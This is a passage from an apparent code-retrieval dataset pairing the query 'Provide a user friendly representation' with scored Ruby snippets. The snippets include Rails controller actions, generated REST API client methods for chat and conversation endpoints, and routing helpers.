auth_names,\n :return_type => 'WebChatMessageEntityList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_chat_messages\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "9e2126fdd46f8fce214a0ad498b2049c",
"score": "0.5200998",
"text": "def index\n @conversations = @current_user.conversations\n @not_viewed = 0\n @conversations.each do |c|\n @not_viewed += c.how_many_not_viewed(@current_user) unless c.how_many_not_viewed(@current_user) == nil\n end\n @current_user\n end",
"title": ""
},
{
"docid": "bbb0814c43b466feb219d44737cd42f2",
"score": "0.5199536",
"text": "def get_conversations_messaging_integrations_twitter_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_messaging_integrations_twitter ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/messaging/integrations/twitter\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TwitterIntegrationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_messaging_integrations_twitter\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7d99824230ac4b2ae9c98035b749cf93",
"score": "0.51962364",
"text": "def index\n @conversations = @group.conversations\n end",
"title": ""
},
{
"docid": "ef4c3976c35ebbc4bfb7686ee2b57a06",
"score": "0.51923734",
"text": "def index\n @conversations = Conversation.by_tenant(current_agent.tenant).unresolved\n respond_with(@conversations, :methods => [:customer_display_name, :last_message_author_role,\n :last_message_author_display_name, :last_message_created_at,\n :last_message_text, :engaged_agent_name, :message_count])\n end",
"title": ""
},
{
"docid": "d946c7981573c7e1a2c62054e500db86",
"score": "0.51884556",
"text": "def get_conversations_chats(opts = {})\n data, _status_code, _headers = get_conversations_chats_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "42b9bb919badb2ff8993ce003cf1b233",
"score": "0.5183957",
"text": "def conversation\n Conversation\n .where(\"creator_id = ? or member_id = ?\", user_id, user_id)\n .order(\"latest_message_id DESC\").first\n end",
"title": ""
},
{
"docid": "f020f181557f5771f6d5e4fe7dbee52c",
"score": "0.518125",
"text": "def get_channels_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ChatChannelsApi.get_channels ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 50\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ChatChannelsApi.get_channels, must be smaller than or equal to 50.'\n end\n\n # resource path\n local_var_path = '/chat/users/me/channels'\n\n # query parameters\n query_params = {}\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'next_page_token'] = opts[:'next_page_token'] if !opts[:'next_page_token'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2007')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ChatChannelsApi#get_channels\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "98c24ebb0fec7be1077ca3320dfe6186",
"score": "0.51642317",
"text": "def chat_history\n \t@chat_history = EmailConversation.where(receiver_id: params[:lead_id], is_sent: true)\n end",
"title": ""
},
{
"docid": "8e5ebef6e54ab4afaa3652d183480471",
"score": "0.51535255",
"text": "def get_conversations_messaging_integrations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_messaging_integrations ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/messaging/integrations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'MessagingIntegrationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_messaging_integrations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7ea2af2d1d829184a5b75701d683dbf8",
"score": "0.5151747",
"text": "def get_messages\n if Conversation.previous_talks(params[:sender_id],params[:recipient_id]).present?\n @conversation = Conversation.previous_talks(params[:sender_id],params[:recipient_id]).first\n else\n @conversation = Conversation.create!(conversation_params)\n end\n end",
"title": ""
},
{
"docid": "b19aa4f7e257a97ca7aa0534058a8ddb",
"score": "0.5144813",
"text": "def getTopConversations\n eventConversations = []\n users = self.users.where(\"attendees.is_attending\" => true)\n users.each do |user|\n userConversations = user.conversations.pluck(:name)\n (eventConversations << userConversations).flatten! \n end\n\n conversationCounts = Hash.new 0\n eventConversations.each do |conversation|\n conversationCounts[conversation] += 1\n end\n\n topConversationsArr = conversationCounts.sort_by{ |k,v| v}.reverse[0..2]\n topConversations = Hash[topConversationsArr].keys\n end",
"title": ""
},
{
"docid": "45dc275d574a91f9ad1b16523d77a450",
"score": "0.51424795",
"text": "def get_conversations_emails_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations_emails ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/conversations/emails\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EmailConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations_emails\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2dfb036ea4e123101efe2e3e9d94ab82",
"score": "0.5141018",
"text": "def dashboard\n @user = User.find(params[:id])\n @wizard = get_next_wizard\n @profile_completion = @user.profile_completion\n @participation_requests = (@user.participation_requests.upcoming.accepted + @user.participation_requests.upcoming.pending).sort_by(&:date)\n @conversations = (@user.mailbox.conversations - @participation_requests.map(&:conversation))[0..4]\n end",
"title": ""
},
{
"docid": "69588705fcd470fcfa1c26f3af52403d",
"score": "0.51378256",
"text": "def find_open_conversations()\n Conversation.find_open_conversations( @sms.to, @sms.from ).order( 'challenge_sent_at' )\n end",
"title": ""
},
{
"docid": "6901ffb09bb76c9f1553966e2a3735d8",
"score": "0.51262146",
"text": "def user_comments\n comments = Comment.where(:commentable_id => self.id, :commentable_type => \"Conversation\")\n str = \"\"\n comments.each do |comment|\n user_name = Invitee.where(:id => comment.user_id).first.name_of_the_invitee rescue nil\n desc = comment.description if user_name.present?\n str += \"#{user_name} => #{desc}\" + ' ~ ' \n end\n str\n end",
"title": ""
},
{
"docid": "9a7e01f7dadf4bfa8f7690a17d6383a6",
"score": "0.5126003",
"text": "def index\n @conversations = Conversation.all\n\n render json: @conversations\n end",
"title": ""
},
{
"docid": "25489f75f7ded49411763caf8350f328",
"score": "0.5124579",
"text": "def chat_get_connected(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: ChatApi#chat_get_connected ...\"\n end\n \n # resource path\n path = \"/chat/connected\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConnectedUsers')\n if Configuration.debugging\n Configuration.logger.debug \"API called: ChatApi#chat_get_connected. Result: #{result.inspect}\"\n end\n return result\n end",
"title": ""
},
{
"docid": "2a8f63df74d942218414c6cdf39c2b61",
"score": "0.5121365",
"text": "def show\n messages = @chatroom.messages.order(created_at: :desc).limit(100).reverse\n @data = {}\n msgs = []\n if !current_user_view_permission\n @data['messages'] = msgs\n @data['chatUsers'] = []\n else\n messages.each do |msg|\n msgs << {message: msg, user: msg.user}\n end\n @data['messages'] = msgs\n @data['chatUsers'] = @chatroom.users.reject{ |user| user == current_user }\n end\n @data['viewPermission'] = current_user_view_permission\n @data['chatroom'] = @chatroom\n @data['currentUser'] = current_user\n end",
"title": ""
},
{
"docid": "da2db69dd4bbda514bffdb8e54bf0082",
"score": "0.5116797",
"text": "def index\n respond_to do |format|\n # GET parameters\n @count = params.has_key?(:count) ? ApplicationHelper.checkEmptyValue(params[:count]) : 20\n @count = @count.to_i > 200 ? 200 : @count\n @since_id = params.has_key?(:since_id) ? ApplicationHelper.checkEmptyValue(params[:since_id]) : 0\n @max_id = params.has_key?(:max_id) ? ApplicationHelper.checkEmptyValue(params[:max_id]) : -1\n @order = \"DESC\"\n @recipient_id = params.has_key?(:user_id) ? params[:user_id] : nil\n\n puts \"USER_ID = #{@recipient_id}\"\n\n\n if (params.has_key?(:since_id))\n @query = \"id > #{@since_id}\"\n @order = \"ASC\"\n elsif (params.has_key?(:max_id))\n @query = \"id < #{@max_id}\"\n else\n @query = nil\n end\n\n @user_id = get_auth_token_user_id()\n\n if (!@recipient_id.nil?)\n @conversations = Conversation.where(\"creator_id = ? and recipient_id = ? or creator_id = ? and recipient_id = ?\", @recipient_id, @user_id, @user_id, @recipient_id)\n .where(@query).order(\"id \" + @order).limit(@count)\n else\n @conversations = Conversation.where(\"creator_id = ? or recipient_id = ?\", @user_id, @user_id)\n .where(@query).order(\"id \" + @order).limit(@count)\n end\n\n @conversations = @order == \"ASC\" ? @conversations.reverse : @conversations\n @data = ApplicationHelper.jsonResponseFormat(0, \"success\", {:conversations => @conversations})\n format.json { render json: @data.as_json(:opt => \"index\",\n :params => request.protocol + request.host_with_port,\n :user_id => @user_id) }\n end\n end",
"title": ""
}
] |
32c108b267dde4e40921fbfa900a84c3
|
Provide a user friendly representation source://twilioruby//lib/twilioruby/rest/routes/v2/trunk.rb27
|
[
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.0",
"text": "def to_s; end",
"title": ""
}
] |
[
{
"docid": "0f17cc6fc75f90821c4de18311f34412",
"score": "0.63337505",
"text": "def route_name; end",
"title": ""
},
{
"docid": "0f17cc6fc75f90821c4de18311f34412",
"score": "0.63337505",
"text": "def route_name; end",
"title": ""
},
{
"docid": "0f21bce8205b052ae0fb5db62387102a",
"score": "0.6057874",
"text": "def verb\n @route.verb.downcase\n end",
"title": ""
},
{
"docid": "788f925809219b11b3a281680296e48f",
"score": "0.5967215",
"text": "def route_key; end",
"title": ""
},
{
"docid": "788f925809219b11b3a281680296e48f",
"score": "0.5967215",
"text": "def route_key; end",
"title": ""
},
{
"docid": "49ba993f48bed07ea123cad48c6bd70b",
"score": "0.5954233",
"text": "def format_route route\n route.first.split('')\n end",
"title": ""
},
{
"docid": "09b5a06bce441da8521b132d0e3e1158",
"score": "0.58980256",
"text": "def inspect\n \"#{ verb } #{ helper } #{ path }\"\n end",
"title": ""
},
{
"docid": "bc8420859a67157dcf2af721a1b5baf6",
"score": "0.58842224",
"text": "def inspect\n \"#<#{self.class}/#{@version} #{verb.to_s.upcase} #{uri}>\"\n end",
"title": ""
},
{
"docid": "a9ad1702a9f85d5c8973d5d10b964244",
"score": "0.5881347",
"text": "def _routes; end",
"title": ""
},
{
"docid": "bc4f4a25bfaea3ed28e7b8bff107f717",
"score": "0.58537614",
"text": "def anchored_routes; end",
"title": ""
},
{
"docid": "eebe0b6ba1d9007153705faddac48860",
"score": "0.58188736",
"text": "def route\n ''\n end",
"title": ""
},
{
"docid": "7ff3caee0289b39ea7bbdcaed2d858f4",
"score": "0.5802837",
"text": "def display_feature( args )\n return args[:path] unless args[:route_info]\n \"#{args[:route_info][:controller]}##{args[:route_info][:action]}\"\n end",
"title": ""
},
{
"docid": "7ff3caee0289b39ea7bbdcaed2d858f4",
"score": "0.5802837",
"text": "def display_feature( args )\n return args[:path] unless args[:route_info]\n \"#{args[:route_info][:controller]}##{args[:route_info][:action]}\"\n end",
"title": ""
},
{
"docid": "be030b1995427d90fa70aee363fab908",
"score": "0.57996476",
"text": "def route_formatter\n JSONAPI.configuration.route_formatter\n end",
"title": ""
},
{
"docid": "75662a4db9d0ca162c9b411869501bc6",
"score": "0.5787765",
"text": "def generate_routing_code\n depth = 0\n lines = []\n\n # Create 'namespace' ladder\n # namespace :foo do\n # namespace :bar do\n regular_class_path.each do |ns|\n lines << indent(\"namespace :#{ns} do\\n\", depth * 2)\n depth += 1\n end\n\n # Create route\n # get 'baz/index'\n # get 'baz/show'\n actions.each do |action|\n lines << indent(%{get '#{file_name}/#{action}'\\n}, depth * 2)\n end\n\n # Create `end` ladder\n # end\n # end\n until depth.zero?\n depth -= 1\n lines << indent(\"end\\n\", depth * 2)\n end\n\n lines.join\n end",
"title": ""
},
{
"docid": "cccdccc3cfe580b3ed0d182fcf3e29ff",
"score": "0.578613",
"text": "def route_key\n @method[1..].to_s.underscore.tr('/', '.')\n end",
"title": ""
},
{
"docid": "caf57844153f69d8cd68948658f88038",
"score": "0.5780428",
"text": "def path\n @route.path.spec.to_s.chomp('(.:format)')\n end",
"title": ""
},
{
"docid": "f0f9d36e4e0a952624c889865cb36181",
"score": "0.57691133",
"text": "def rt_number\n getObject(getUrl,resource[:name])['route_target'][0].split(':')[2]\n end",
"title": ""
},
{
"docid": "62f5777aaa87aa8e9efe3966b2d04848",
"score": "0.5758012",
"text": "def _api\n res = TinyURL.pack(request[:turl]) if request[:turl]\n res = TinyURL.unpack(request[:url].split('/').last) if request[:url]\n res = TinyURL.count(request[:hits].split('/').last).to_s if request[:hits]\n res = '' unless res\n respond res\n end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "5009e6a63c5f078e6eaed80f83908692",
"score": "0.5733218",
"text": "def routes; end",
"title": ""
},
{
"docid": "3f531fa9986701f391367d4f499efad5",
"score": "0.57288545",
"text": "def singular_route_key; end",
"title": ""
},
{
"docid": "3f531fa9986701f391367d4f499efad5",
"score": "0.57288545",
"text": "def singular_route_key; end",
"title": ""
},
{
"docid": "deb60ad0dd42a1e7c47c0cae4ed25344",
"score": "0.57184875",
"text": "def routes=(_arg0); end",
"title": ""
},
{
"docid": "deb60ad0dd42a1e7c47c0cae4ed25344",
"score": "0.57184875",
"text": "def routes=(_arg0); end",
"title": ""
},
{
"docid": "eb41c2a394260327011c1477ec3608a6",
"score": "0.5708984",
"text": "def build_route\n \"get \\'#{fetch_url_prefix}/*key\\', :to => \\\"#{name}#get\\\"\"\n end",
"title": ""
},
{
"docid": "41974f0f1ea9c69a39ff3136c0802562",
"score": "0.5671833",
"text": "def show_routes(string = nil)\n\n string = string.to_s\n\n # lifted from gems/railties-3.0.3/lib/rails/tasks/routes.rake\n\n Rails.application.reload_routes!\n all_routes = Rails.application.routes.routes\n\n if ENV['CONTROLLER']\n all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] }\n end\n\n routes = all_routes.collect do |route|\n\n reqs = route.requirements.dup\n reqs[:to] = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/\n reqs = reqs.empty? ? \"\" : reqs.inspect\n\n {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs}\n end\n\n routes.reject! { |r| r[:path] =~ %r{/rails/info/properties} } # Skip the route if it's internal info route\n\n name_width = routes.map{ |r| r[:name].length }.max\n verb_width = routes.map{ |r| r[:verb].length }.max\n path_width = routes.map{ |r| r[:path].length }.max\n\n ansi_bold = \"\\033[1m\"\n ansi_reset = \"\\033[0m\"\n ansi_lgray = \"\\033[0;37m\"\n ansi_gray = \"\\033[1;30m\"\n\n routes.each do |r|\n if string.nil? or r[:path].index(string) or r[:name].index(string) or r[:reqs].index(string)\n line = \"#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}\"\n\n unless string.nil?\n line.gsub!(string, \"#{ansi_bold}#{string}#{ansi_reset}\")\n end\n\n puts line\n end\n end\n nil\nend",
"title": ""
},
{
"docid": "3dc34c03fb476e7a09cd6aad1246dc9e",
"score": "0.5662399",
"text": "def class_to_route class_name\n '/' << class_name.to_s.split('::').map {|c| underscore(c)}.join('/')\n end",
"title": ""
},
{
"docid": "37dd65cbf5b5cf5b06412dda5558d0f8",
"score": "0.56481403",
"text": "def to_s\n \"#{@verb.rjust(7, ' ')}: #{@path_full}\"\n end",
"title": ""
},
{
"docid": "9bd030cdea68227b8628c7bcaca6ebd2",
"score": "0.56455445",
"text": "def api_name; end",
"title": ""
},
{
"docid": "cdba4ddf4a6b13898af519441d9ec0f8",
"score": "0.56443614",
"text": "def route_part_for_resource(resource)\n resource.underscore\n end",
"title": ""
},
{
"docid": "81a2577a7df363b8723f2f311b8a0c78",
"score": "0.56409407",
"text": "def api_resource_name(method = nil)\n \"#{ underscore(name.split('::').last) }s\"\n end",
"title": ""
},
{
"docid": "41aeb24c8e45d3866d36b953a6941d81",
"score": "0.56406385",
"text": "def get_operation_name(http_method, url)\n\t\t return http_method.downcase + '_' + url.gsub(\"/api/v1/\", \"\").gsub(/\\/<[^>]*>/, \"\").gsub('/', '_')\n\t\tend",
"title": ""
},
{
"docid": "4e63e9a4c08d48a96fa81115bdefd74d",
"score": "0.5628754",
"text": "def api_friendly_ref_type\n self.class.name.demodulize.parameterize\n end",
"title": ""
},
{
"docid": "acf8691ff8d942f9a0e1130895e3344c",
"score": "0.55920166",
"text": "def to_s\n @_route.to_s\n end",
"title": ""
},
{
"docid": "b30fe13b8209b2999f1c2ce4d7d9e9b9",
"score": "0.5572961",
"text": "def route_name\n return \"#{self.name}\"\n end",
"title": ""
},
{
"docid": "a284d4c58e86ae4cf5a347953f42460e",
"score": "0.55663127",
"text": "def to_api\n to_s.downcase.tr(\" \", \"_\")\n end",
"title": ""
},
{
"docid": "67b9a6afab4d46de710941f2d4d0b0ab",
"score": "0.55422455",
"text": "def routes_text\n routes.map { |r| r.text_descriptor }.join(\"; \")\n end",
"title": ""
},
{
"docid": "9ca5cc5e0b90610bedfb9c6dd7916dcd",
"score": "0.55340207",
"text": "def helper\n action = @route.requirements.fetch(:action).camelize(:lower)\n name = @mappings.fetch(action, action)\n path_only? ? \"#{ name }Path\" : name\n end",
"title": ""
},
{
"docid": "69983b32cef7991bcdf71722e2b28500",
"score": "0.55297273",
"text": "def route_info\n routes = RestClient.get('http://svc.metrotransit.org/NexTrip/Routes?format=json')\n JSON.parse(routes)\nend",
"title": ""
},
{
"docid": "89bd548d943e06e1466958b24572d415",
"score": "0.5528683",
"text": "def routes\n BlindLeader::Routing.instance\n end",
"title": ""
},
{
"docid": "841fde81afa0b8cf0fa9a057553beea2",
"score": "0.5528048",
"text": "def routes\n @rtb.routes\n end",
"title": ""
},
{
"docid": "4c0af6f0ad3008e02411b46765fa6571",
"score": "0.55148524",
"text": "def rest_path\n \"#{self.uri}/rest/api/#{self.api_version}\"\n end",
"title": ""
},
{
"docid": "564a69078455e69eef8a4919a2d19025",
"score": "0.55074906",
"text": "def custom_routes; end",
"title": ""
},
{
"docid": "3c87778e34d128826c70fac393d1a167",
"score": "0.5500786",
"text": "def external_routes; end",
"title": ""
},
{
"docid": "46610555e4f40509951cd8079bbc1221",
"score": "0.55006516",
"text": "def make_api_path(type)\n base = \"apis/\"\n\n if is_event(type)\n base = \"events-webhooks/events/\"\n # convert audit-log-create-event to audit-log-create\n type = type.gsub(\"-event\",\"\")\n if type == \"user-action\"\n type = \"user-actions\"\n end\n if type == \"user-login-id-duplicate-on-create\"\n type = \"user-login-id-duplicate-create\"\n end\n if type == \"user-login-id-duplicate-on-update\"\n type = \"user-login-id-duplicate-update\"\n end\n return base + type\n end\n\n if type == \"identity-provider-link\"\n return base + \"identity-providers/links\"\n end\n\n if type.end_with? \"identity-provider\"\n idp_type = type.gsub(\"-identity-provider\",\"\")\n if idp_type == \"samlv2-id-p-initiated\"\n idp_type = \"samlv2-idp-initiated\"\n end\n return base + \"identity-providers/\" + idp_type\n end\n\n if type == \"generic-connector-configuration\"\n return base + \"connectors/generic\"\n end\n\n if type == \"family\"\n return base + \"families\"\n end\n if type == \"entity\"\n return base + \"entity-management/entities\"\n end\n if type == \"entity-type\"\n return base + \"entity-management/entity-types\"\n end\n if type == \"entity-grant\"\n return base + \"entity-management/grants\"\n end\n if type == \"ldap-connector-configuration\"\n return base + \"connectors/ldap\"\n end\n if type == \"email-template\"\n return base + \"emails\"\n end\n return base + type + \"s\"\nend",
"title": ""
},
{
"docid": "110e68c65747df65350d11696f69460b",
"score": "0.54998857",
"text": "def to_s\n '#<Twilio::REST::Routes>'\n end",
"title": ""
},
{
"docid": "532bef861c3ae4fd86c0c97bc13884a1",
"score": "0.5497065",
"text": "def make_route_name( route )\n\t\taction_method = route[:action] or return '(Unknown)'\n\t\treturn action_method.name\n\tend",
"title": ""
},
{
"docid": "f8d1b7e4aa828ff2ba66f724c4c3d8b0",
"score": "0.5496158",
"text": "def inspect\n routes.map do |r|\n r.inspector.to_s\n end.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "56d0e9af89376b1225c3780db51161cb",
"score": "0.5492563",
"text": "def display_endpoint\n return \"#{self.method_type} #{self.rest_resource.path}\"\n end",
"title": ""
},
{
"docid": "20a404373087365c166b8bd1f7de1ae2",
"score": "0.5490737",
"text": "def to_s; uri.to_s; end",
"title": ""
},
{
"docid": "aea27f51d14e814e518924cee38b8939",
"score": "0.54800636",
"text": "def inspect\n\t\t\t\"%-20s %s\" % [self.class.name.split(\"::\")[-2..-1]*(\"/\"), to_s]\n\t\tend",
"title": ""
},
{
"docid": "d2f928691d8fbc1b063ecb3227af2fca",
"score": "0.54643106",
"text": "def objects_url ; objects_route('url'); end",
"title": ""
},
{
"docid": "ff3a113a4a8b15be80d0b2ca9b8f2fcf",
"score": "0.5459342",
"text": "def route(locale, forest, &block); end",
"title": ""
},
{
"docid": "f7dbbe1bb3575112fe3b8fe2c1eb2e86",
"score": "0.5453944",
"text": "def verb; resource.method; end",
"title": ""
},
{
"docid": "453c436e96cea21205234f72e3f5600e",
"score": "0.54456705",
"text": "def route\n @_route\n end",
"title": ""
},
{
"docid": "f1647c6ee4e137f550f93e5c2a031b8f",
"score": "0.5444403",
"text": "def to_s\n '<Twilio::REST::Routes::V2>'\n end",
"title": ""
},
{
"docid": "fdcd33aa89d6208d9744679bc07297c3",
"score": "0.54407674",
"text": "def routes_template(method, indent_level = 0)\n out = il(\"\\\"methods\\\":{\", indent_level)\n http_methods = method[:routes].group_by{|hash| hash[:methods]}.collect do |method, route_infos|\n method_out = il(\"\\\"#{method}\\\":{\", indent_level + 1)\n method_out << il(\"\\\"routes\\\":[\", indent_level + 2)\n routes_out = route_infos.collect do |route_info|\n il('\"' + route_info[:name] + '\"', indent_level + 3, false)\n end\n method_out << routes_out.join(\",\\n\") << \"\\n\"\n method_out << il(\"]\", indent_level + 2)\n method_out << il(\"}\", indent_level + 1, false)\n end\n out << http_methods.join(\",\\n\") << \"\\n\"\n out << il(\"}\", indent_level, false)\nend",
"title": ""
},
{
"docid": "ff7ad4bba7e3559fc9519de0aa5af67e",
"score": "0.5432271",
"text": "def inflector; end",
"title": ""
},
{
"docid": "ff7ad4bba7e3559fc9519de0aa5af67e",
"score": "0.5432271",
"text": "def inflector; end",
"title": ""
},
{
"docid": "f2afdbe16f058a777102e1bfd019c0dd",
"score": "0.54247457",
"text": "def path\n api['path']\n end",
"title": ""
},
{
"docid": "f2afdbe16f058a777102e1bfd019c0dd",
"score": "0.54247457",
"text": "def path\n api['path']\n end",
"title": ""
},
{
"docid": "a6d9a947f1aa7d2b011aa6851641e956",
"score": "0.5422419",
"text": "def inflector=(_arg0); end",
"title": ""
},
{
"docid": "87bd6fdc4ccf4fe3cfacbcef06c10f8a",
"score": "0.53937465",
"text": "def named_route; end",
"title": ""
},
{
"docid": "565b6da861ca21f143cdc89094011856",
"score": "0.5392477",
"text": "def route\n blank, *route = request.path_info.split(\"/\").collect {|arg| unescape(arg) }\n route\n end",
"title": ""
},
{
"docid": "227a8152fe001d7dafae68823c6619bd",
"score": "0.53875357",
"text": "def plural_route_part_for_resource(resource)\n resource.pluralize.underscore\n end",
"title": ""
},
{
"docid": "c0d0d9fbff34dea8b24df25f918c4742",
"score": "0.5387032",
"text": "def route_key\n get(Solrizer.solr_name('has_model', :symbol)).split(':').last.downcase\n end",
"title": ""
},
{
"docid": "b4fbc3f11640bc89a9b142c59cd79796",
"score": "0.53839314",
"text": "def uri_pattern; end",
"title": ""
},
{
"docid": "b4fbc3f11640bc89a9b142c59cd79796",
"score": "0.53839314",
"text": "def uri_pattern; end",
"title": ""
},
{
"docid": "f613dd408644acfa82a2b9714906cd3e",
"score": "0.53838",
"text": "def generate_initial_line(type, path)\n\tinitial_line = \"GET \" if type == :get\n\tinitial_line = \"POST \" if type == :post \n\tinitial_line += path + \" HTTP/1.0\" + \"\\r\\n\"\nend",
"title": ""
},
{
"docid": "a5ed20312626a7d335f12525af01b7af",
"score": "0.5377814",
"text": "def format_text\n response = self.transit_data\n #change this post-MVP, see above notes\n directions = response[\"routes\"][0][\"legs\"][0]\n basic = self.format_basic_info(directions)\n instructions = self.format_transit(directions).join(\"\\n\")\n return (basic + instructions)\n end",
"title": ""
},
{
"docid": "640248571fc87e21901503e87191b7b4",
"score": "0.537722",
"text": "def long_name\n route_long_name ? route_long_name : name\n end",
"title": ""
},
{
"docid": "640248571fc87e21901503e87191b7b4",
